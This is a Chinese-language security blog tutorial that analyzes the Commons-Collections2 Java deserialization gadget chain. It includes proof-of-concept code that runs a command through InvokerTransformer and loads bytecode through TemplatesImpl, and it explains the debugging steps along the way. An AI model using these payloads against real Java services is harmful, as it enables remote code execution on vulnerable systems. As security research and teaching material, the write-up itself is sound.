Java安全小记-Commons-Collections2反序列化

admin 2025年1月8日14:03:44评论13 views字数 4487阅读14分57秒阅读模式

通过yso的代码可以看出,cc2利用链用的是commons-collections4版本,而我们之前用的是3.1版本。所以首先要下载一下依赖,pom文件加入:

<dependency>            <groupId>org.apache.commons</groupId>            <artifactId>commons-collections4</artifactId>            <version>4.0</version></dependency>

调用方式1:

然后就是他前半部分的调用链变了先来看一下poc

Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},newObject[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},newString[]{"calc"}),        };        Transformer chaintransformer = new ChainedTransformer(transformer);        TransformingComparator comparator = new TransformingComparator(chaintransformer);        PriorityQueue queue = new PriorityQueue(1);//创建实例。注意下面的顺序改变了。        queue.add(1);        queue.add(2);//传入两个参数        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");//反射获取成员变量的field        field.setAccessible(true);//获取访问权限        field.set(queue,comparator);//设置参数

通过poc我们发现后半部分也是用的也是invokertransformer进行触发的,这里主要看前半部分怎么调用的

还是通过跟是谁transform方法我们找到了TransformingComparator这个类中的compare方法调用了transform方法

Java安全小记-Commons-Collections2反序列化

所以我们只需将trangsformer变成invokertransformer对象就可以rce了

再来看看其构造方法

Java安全小记-Commons-Collections2反序列化

可以看到transformer是可控的所以我们现在需要找到能够触发compare的方法

Java安全小记-Commons-Collections2反序列化

我们找到了PriorityQueue类中的siftDownUsingComparator方法调用了compare方法,这里看下构造方法发现comparator也是可控的

Java安全小记-Commons-Collections2反序列化

所以现在需要找到可以触发siftDownUsingComparator的方法我们发现在本类的siftDown方法调用了该方法

Java安全小记-Commons-Collections2反序列化

并且在本类的readObject中发现heapify调用了siftDown方法

Java安全小记-Commons-Collections2反序列化

并且该size需要大于等于2才可以进入for循环所以可以构造poc了

Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},newObject[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},newString[]{"calc"}),        };        Transformer chaintransformer = new ChainedTransformer(transformer);        TransformingComparator comparator = new TransformingComparator(chaintransformer);        PriorityQueue queue = new PriorityQueue(comparator);//创建实例。注意下面的顺序改变了。        queue.add(1);        queue.add(2);//传入两个参数

运行发现在序列化之前就触发了原因在于add方法

Java安全小记-Commons-Collections2反序列化

调用了offer方法

Java安全小记-Commons-Collections2反序列化

该方法又调用了siftUp方法

Java安全小记-Commons-Collections2反序列化

发现在该方法中也调用了siftDownUsingComparator方法所以我们需要在add的时候将comparartor让其值为空,在add之后在反射将其值该为TransformingComparator对象就行poc如开头所示

cc2 调用链

Java安全小记-Commons-Collections2反序列化

调用方式2

第二种调用方法就是结合CC3中所介绍到的动态加载字节码的形式进行触发rce,因为通过上文分析的我们知道cc2会在TransformingComparator这个类中的compare方法中调用transform方法,所以这里我们想到利用Invokertransform这个类中的transform方法来调用任意类的方法,也就是通过在这里注入invokertransform对象调用transform方法在调用TemplateImpl中的newTransformer方法来进而触发动态类加载实现rce。

这里给出poc

byte[] shellcode = Files.readAllBytes(Paths.get("D:\javaserilization\cclian\target\classes\org\example\test.class"));        TemplatesImpl templates = new TemplatesImpl();// 获取 class 对象        Class clazz = templates.getClass();// 下面是需要修改的一些变量        Field nameField = clazz.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templates, "_name");        Field classField = clazz.getDeclaredField("_tfactory");        classField.setAccessible(true);        classField.set(templates, new TransformerFactoryImpl());        Field bytecodesField = clazz.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        bytecodesField.set(templates, newbyte[][]{shellcode});        InvokerTransformer invokertransformer = new InvokerTransformer("newTransformer"new Class[]{}, new String[]{});        TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));        PriorityQueue queue = new PriorityQueue(comparator);//创建实例。注意下面的顺序改变了。        queue.add(templates);        queue.add(2);//传入两个参数        Field field = Class.forName("org.apache.commons.collections4.comparators.TransformingComparator").getDeclaredField("transformer");//反射获取成员变量的field        field.setAccessible(true);//获取访问权限        field.set(comparator,invokertransformer);//设置参数//serialize(queue);        unserialize("ser.bin");

其实通过poc我们能够发现就是将最后改成动态调用newTransformer方法。

Java安全小记-Commons-Collections2反序列化

问题1:

这里其实我们很容易想明白就是利用invokertransform的transform方法去动态调用newTransformer方法但是你执行会发现报错找不到这个方法,是因为我们并没有将该方法的类对象传递进去这里如何不利用ChainedTransformer进行传递呢

通过调试我们可以通过add方法进行添加

Java安全小记-Commons-Collections2反序列化

他会传入到offer里面,offer会继续调用 siftUp方法

继续将我们传入的参数放进去

Java安全小记-Commons-Collections2反序列化

可以看到已经是被传递进来了。

问题2:

然后我们发现我们的poc在一开始的时候并没有将一个真的invokertransformer放进去Java安全小记-Commons-Collections2反序列化

而是在add之后通过反射修改了其值,这里上文也说了是为了防止在add时触发rce。

问题3:

就是我们在add的时候需要传入两个templates对象吗,这里经过实验只需要对第一个传入即可,并且第一个必须传入。我们来调试看看为什么我们以只传入第一个templates对象为例进行反序列化调试

Java安全小记-Commons-Collections2反序列化

在反序列化的时候可以看到它获取的是第一个传递的参数的值

Java安全小记-Commons-Collections2反序列化继续跟进发现确实取出来的是第一个参数的值

Java安全小记-Commons-Collections2反序列化

这里调用的也确实是x的值,结合前面两个方法分析说明第一个参数必须传入templates对象。

cc2 TemplatesImpl调用链

Java安全小记-Commons-Collections2反序列化

原文始发于微信公众号(土拨鼠的安全屋):Java安全小记-Commons-Collections2反序列化

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月8日14:03:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全小记-Commons-Collections2反序列化http://cn-sec.com/archives/3605811.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息